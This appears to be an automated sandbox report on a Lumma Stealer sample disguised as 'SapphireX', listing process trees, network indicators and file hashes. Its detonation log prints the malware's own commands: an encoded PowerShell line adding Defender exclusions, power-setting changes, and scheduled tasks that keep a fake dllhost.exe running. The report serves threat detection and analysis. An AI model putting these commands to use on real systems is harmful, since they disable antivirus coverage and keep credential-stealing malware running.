Malware Analysis Report

2024-11-30 05:30

Sample ID 240709-rsv35syaqk
Target SapphireX.zip
SHA256 340dd0b84cf85158d86a28636ac44739d8986cdcefdd720e5351bf199c0f4d8c
Tags
lumma execution persistence spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

340dd0b84cf85158d86a28636ac44739d8986cdcefdd720e5351bf199c0f4d8c

Threat Level: Known bad

The file SapphireX.zip was found to be: Known bad.

Malicious Activity Summary

lumma execution persistence spyware stealer

Lumma Stealer

Downloads MZ/PE file

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Power Settings

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Unsigned PE

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Scheduled Task/Job: Scheduled Task

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-09 14:28

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win7-20240704-en

Max time kernel

121s

Max time network

122s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Core.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win10v2004-20240704-en

Max time kernel

149s

Max time network

151s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Core.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win7-20240705-en

Max time kernel

118s

Max time network

122s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Data.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Data.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win10v2004-20240704-en

Max time kernel

93s

Max time network

97s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Data.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Data.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win7-20240705-en

Max time kernel

121s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Drawing.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Drawing.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win10v2004-20240704-en

Max time kernel

93s

Max time network

97s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Drawing.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SapphireX\Drawing.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win7-20240708-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe

"C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe"

Network

N/A

Files

memory/2988-0-0x000000013FFF0000-0x0000000140F29000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-07-09 14:27

Reported

2024-07-09 14:31

Platform

win10v2004-20240704-en

Max time kernel

93s

Max time network

142s

Command Line

"C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe"

Signatures

Lumma Stealer

stealer lumma

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Power Settings

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1404 set thread context of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\7z.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1404 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1404 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1404 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1404 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 1404 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
PID 544 wrote to memory of 5000 N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe
PID 544 wrote to memory of 5000 N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe
PID 544 wrote to memory of 5000 N/A C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe
PID 5000 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe C:\Windows\system32\cmd.exe
PID 5000 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe C:\Windows\system32\cmd.exe
PID 1512 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 1512 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mode.com
PID 1512 wrote to memory of 2936 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 2936 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 4924 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 4924 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 3764 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 3764 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 1732 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 1732 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 2260 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 1088 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 1088 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\7z.exe
PID 1512 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 1512 wrote to memory of 5048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 1512 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
PID 1512 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
PID 1512 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
PID 2872 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 1464 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 1464 wrote to memory of 2400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1464 wrote to memory of 2400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1464 wrote to memory of 2400 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2872 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 2872 wrote to memory of 4668 N/A C:\Users\Admin\AppData\Local\Temp\main\Installer.exe C:\Windows\SysWOW64\cmd.exe
PID 4668 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4668 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4668 wrote to memory of 2852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2008 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2008 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2008 wrote to memory of 1704 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe

"C:\Users\Admin\AppData\Local\Temp\SapphireX\SapphireX.exe"

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe

"C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"

C:\Windows\system32\mode.com

mode 65,10

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e file.zip -p1404753551733818025492326517 -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_6.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_5.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_4.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_3.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_2.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_1.zip -oextracted

C:\Windows\system32\attrib.exe

attrib +H "Installer.exe"

C:\Users\Admin\AppData\Local\Temp\main\Installer.exe

"Installer.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /C powershell -EncodedCommand "PAAjAFMAZABTADEAdgAwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeQBCAHEAaQBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAE4AMABTACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFMAQwBMAHgAcAA4AE8AIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -EncodedCommand "PAAjAFMAZABTADEAdgAwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeQBCAHEAaQBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAE4AMABTACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAFMAQwBMAHgAcAA4AE8AIwA+AA=="

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7124" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\schtasks.exe

SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7124" /TR "C:\ProgramData\Dllhost\dllhost.exe"

C:\Windows\SysWOW64\schtasks.exe

SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 affecthorsedpo.shop udp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 8.8.8.8:53 137.135.67.172.in-addr.arpa udp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
US 172.67.135.137:443 affecthorsedpo.shop tcp
DE 147.45.47.81:80 147.45.47.81 tcp
US 8.8.8.8:53 81.47.45.147.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
DE 147.45.47.81:80 147.45.47.81 tcp
DE 147.45.47.81:80 147.45.47.81 tcp
US 8.8.8.8:53 24.19.67.172.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp

Files

memory/544-4-0x0000000000890000-0x00000000008E2000-memory.dmp

memory/544-7-0x0000000000890000-0x00000000008E2000-memory.dmp

memory/1404-5-0x00007FF622380000-0x00007FF6232B9000-memory.dmp

memory/544-8-0x0000000000890000-0x00000000008E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\6C1YOJ1904P8K9S1K.exe

MD5 b2e6a3d0bf3320b759c464ae6fa5b735
SHA1 cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1
SHA256 771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3
SHA512 bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a

memory/544-13-0x0000000000890000-0x00000000008E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\main\main.bat

MD5 893874465a8d9f68f0684fd61e9f1d3c
SHA1 866a58255ebab05d4ee2f2ed8383a6555ac1df03
SHA256 e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0
SHA512 1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7

C:\Users\Admin\AppData\Local\Temp\main\file.bin

MD5 716459a6ceac7d310d4227ea3e9ddb59
SHA1 fa27addf18c197bf5fc054bfb5ae57de1caf3382
SHA256 ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1
SHA512 3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

C:\Users\Admin\AppData\Local\Temp\main\7z.dll

MD5 72491c7b87a7c2dd350b727444f13bb4
SHA1 1e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip

MD5 a62944686498212b290eae637729a151
SHA1 2053660850d3f578f7b31e5ced16069d6f9c4ee0
SHA256 0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e
SHA512 ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip

MD5 870a5535c79edcf782551514f48d89ab
SHA1 333d814d65753cdc4c4e8fb587c09af6960110d1
SHA256 814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d
SHA512 f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip

MD5 6f7f4f7ed739e3ac5eee8d0876ff76d4
SHA1 9a65d52885624dc47f342b5a9875d7720540c755
SHA256 b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc
SHA512 35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip

MD5 4a5f569872c858ede1c0c67500cfdd6d
SHA1 cdcac69d89b45a7903198467c2d2d32126c31661
SHA256 88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc
SHA512 d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

MD5 a915fd2a4e2750ee9003e628294bf284
SHA1 f9adc1e65fc3d2cf39b2c5a89030f3225e21616d
SHA256 5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285
SHA512 044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f

C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

MD5 18f4fe969c4ba0517b403e28f7ad2b72
SHA1 9df09751ee1246db2ed6b6ed6fec87fb0891e077
SHA256 06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4
SHA512 9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4

C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe

MD5 4265bf9f9535ebb4e1830e2a50589285
SHA1 ddc45fe277a3b39179dd9e39e17d71b50a184607
SHA256 c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403
SHA512 3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be

C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

MD5 6dd7f70cddc4310e047032d70550f72c
SHA1 e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562
SHA256 e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d
SHA512 1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c

memory/2872-75-0x0000000000030000-0x000000000003C000-memory.dmp

memory/2872-76-0x0000000004F00000-0x00000000054A4000-memory.dmp

memory/2872-77-0x0000000004950000-0x00000000049E2000-memory.dmp

memory/2872-78-0x0000000004900000-0x000000000490A000-memory.dmp

memory/2872-79-0x0000000004BC0000-0x0000000004C26000-memory.dmp

memory/2400-80-0x0000000004F50000-0x0000000004F86000-memory.dmp

memory/2400-81-0x0000000005640000-0x0000000005C68000-memory.dmp

memory/2400-82-0x0000000005CA0000-0x0000000005CC2000-memory.dmp

